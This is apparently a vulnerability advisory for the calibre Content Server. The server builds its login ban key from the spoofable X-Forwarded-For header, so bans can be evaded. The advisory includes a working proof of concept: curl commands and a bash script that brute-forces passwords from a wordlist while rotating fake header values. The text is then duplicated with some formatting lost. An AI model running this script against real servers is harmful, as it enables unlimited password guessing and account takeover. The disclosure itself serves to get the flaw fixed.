Summary
The calibre Content Server's brute-force protection mechanism uses a ban key derived from both remote_addr and the X-Forwarded-For header. Since the X-Forwarded-For header is read directly from the HTTP request without any validation or trusted-proxy configuration, an attacker can bypass IP-based bans by simply changing or adding this header, rendering the brute-force protection completely ineffective.
Details
X-Forwarded-For is read without validation:
src/calibre/srv/http_request.py line 343:
self.forwarded_for = inheaders.get('X-Forwarded-For')
The header value is accepted unconditionally from any client. There is no check for whether the request arrived through a trusted reverse proxy. Any client can set this header to any arbitrary value.
Ban key includes the spoofable header:
src/calibre/srv/auth.py lines 270-273:
def do_http_auth(self, data, endpoint):
ban_key = data.remote_addr, data.forwarded_for # Tuple includes spoofable XFF
if self.ban_list.is_banned(ban_key):
raise HTTPForbidden('Too many login attempts',
log=f'Too many login attempts from: {ban_key if data.forwarded_for else data.remote_addr}')
The ban key is a tuple of (remote_addr, forwarded_for). Since forwarded_for comes directly from the client-controlled X-Forwarded-For header, changing this header value produces a different ban key. This means:
(127.0.0.1, None) — banned after 3 failures
(127.0.0.1, "10.0.0.1") — new key, not banned
(127.0.0.1, "10.0.0.2") — new key, not banned
- etc.
The BanList implementation at src/calibre/srv/auth.py lines 26-62 correctly tracks failures per key, but since the key itself is spoofable, the tracking is meaningless.
Failed login also records to the spoofable key:
src/calibre/srv/auth.py lines 291-292 and 303-304:
log_msg = f'Failed login attempt from: {data.remote_addr}'
self.ban_list.failed(ban_key) # Records failure against spoofable key
PoC
Prerequisites:
- calibre 9.3.1 installed
- calibre Content Server running with authentication and ban settings enabled
Step 1: Set up authenticated server
# Create user database
printf '1\ntestuser\ntestpass123\ntestpass123\nn\n4\n' | \
calibre-server --manage-users --userdb /tmp/calibre-users.db
# Start server with auth and banning (ban after 3 failures, ban for 5 minutes)
calibre-server --port 8091 \
--enable-auth --userdb /tmp/calibre-users.db \
--ban-for 5 --ban-after 3 \
/tmp/calibre-test-library
Step 2: Trigger a ban with 3 failed logins
for i in 1 2 3; do
curl -s -o /dev/null -w "Attempt $i: %{http_code}\n" \
--digest -u testuser:wrongpass http://localhost:8091/
done
Output:
Attempt 1: 401
Attempt 2: 401
Attempt 3: 401
Step 3: Confirm the ban is active
curl -s -o /dev/null -w "Banned (even with correct password): %{http_code}\n" \
--digest -u testuser:testpass123 http://localhost:8091/
Output:
Banned (even with correct password): 403
Step 4: Bypass the ban with X-Forwarded-For
curl -s -o /dev/null -w "With XFF bypass: %{http_code}\n" \
-H "X-Forwarded-For: 10.10.10.10" \
--digest -u testuser:testpass123 http://localhost:8091/
Output:
The ban is immediately bypassed. Authentication succeeds.
Step 5: Automated brute-force with unlimited attempts
#!/bin/bash
# Brute-force calibre server with ban bypass
TARGET="http://localhost:8091/"
USERNAME="testuser"
COUNTER=0
while IFS= read -r password; do
COUNTER=$((COUNTER + 1))
# Generate unique X-Forwarded-For for each attempt
FAKE_IP="10.$((COUNTER / 65536 % 256)).$((COUNTER / 256 % 256)).$((COUNTER % 256))"
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-H "X-Forwarded-For: $FAKE_IP" \
--digest -u "$USERNAME:$password" "$TARGET")
if [ "$CODE" = "200" ]; then
echo "[+] Password found: $password (attempt #$COUNTER)"
exit 0
fi
done < /path/to/wordlist.txt
echo "[-] Password not found"
This script can make unlimited login attempts without ever being banned, as each attempt uses a different X-Forwarded-For value.
Impact
Type: Insufficient Anti-Automation / Authentication Bypass (CWE-307, CWE-346)
An attacker can:
- Bypass brute-force protection entirely by rotating the
X-Forwarded-For header value on each request
- Perform unlimited password guessing attempts against any user account
- Compromise user accounts on publicly exposed calibre servers
- Enumerate valid usernames by observing response differences without being banned
The --ban-after and --ban-for command-line options, which are intended to provide brute-force protection, are rendered completely ineffective. Users who believe they are protected by these settings are not.
This is particularly dangerous for calibre servers exposed to the internet, where brute-force protection is the primary defense against credential stuffing and password guessing attacks.
Summary
The calibre Content Server's brute-force protection mechanism uses a ban key derived from both
remote_addrand theX-Forwarded-Forheader. Since theX-Forwarded-Forheader is read directly from the HTTP request without any validation or trusted-proxy configuration, an attacker can bypass IP-based bans by simply changing or adding this header, rendering the brute-force protection completely ineffective.Details
X-Forwarded-For is read without validation:
src/calibre/srv/http_request.pyline 343:The header value is accepted unconditionally from any client. There is no check for whether the request arrived through a trusted reverse proxy. Any client can set this header to any arbitrary value.
Ban key includes the spoofable header:
src/calibre/srv/auth.pylines 270-273:The ban key is a tuple of
(remote_addr, forwarded_for). Sinceforwarded_forcomes directly from the client-controlledX-Forwarded-Forheader, changing this header value produces a different ban key. This means:(127.0.0.1, None)— banned after 3 failures(127.0.0.1, "10.0.0.1")— new key, not banned(127.0.0.1, "10.0.0.2")— new key, not bannedThe
BanListimplementation atsrc/calibre/srv/auth.pylines 26-62 correctly tracks failures per key, but since the key itself is spoofable, the tracking is meaningless.Failed login also records to the spoofable key:
src/calibre/srv/auth.pylines 291-292 and 303-304:PoC
Prerequisites:
Step 1: Set up authenticated server
Step 2: Trigger a ban with 3 failed logins
Output:
Step 3: Confirm the ban is active
curl -s -o /dev/null -w "Banned (even with correct password): %{http_code}\n" \ --digest -u testuser:testpass123 http://localhost:8091/Output:
Step 4: Bypass the ban with X-Forwarded-For
Output:
The ban is immediately bypassed. Authentication succeeds.
Step 5: Automated brute-force with unlimited attempts
This script can make unlimited login attempts without ever being banned, as each attempt uses a different
X-Forwarded-Forvalue.Impact
Type: Insufficient Anti-Automation / Authentication Bypass (CWE-307, CWE-346)
An attacker can:
X-Forwarded-Forheader value on each requestThe
--ban-afterand--ban-forcommand-line options, which are intended to provide brute-force protection, are rendered completely ineffective. Users who believe they are protected by these settings are not.This is particularly dangerous for calibre servers exposed to the internet, where brute-force protection is the primary defense against credential stuffing and password guessing attacks.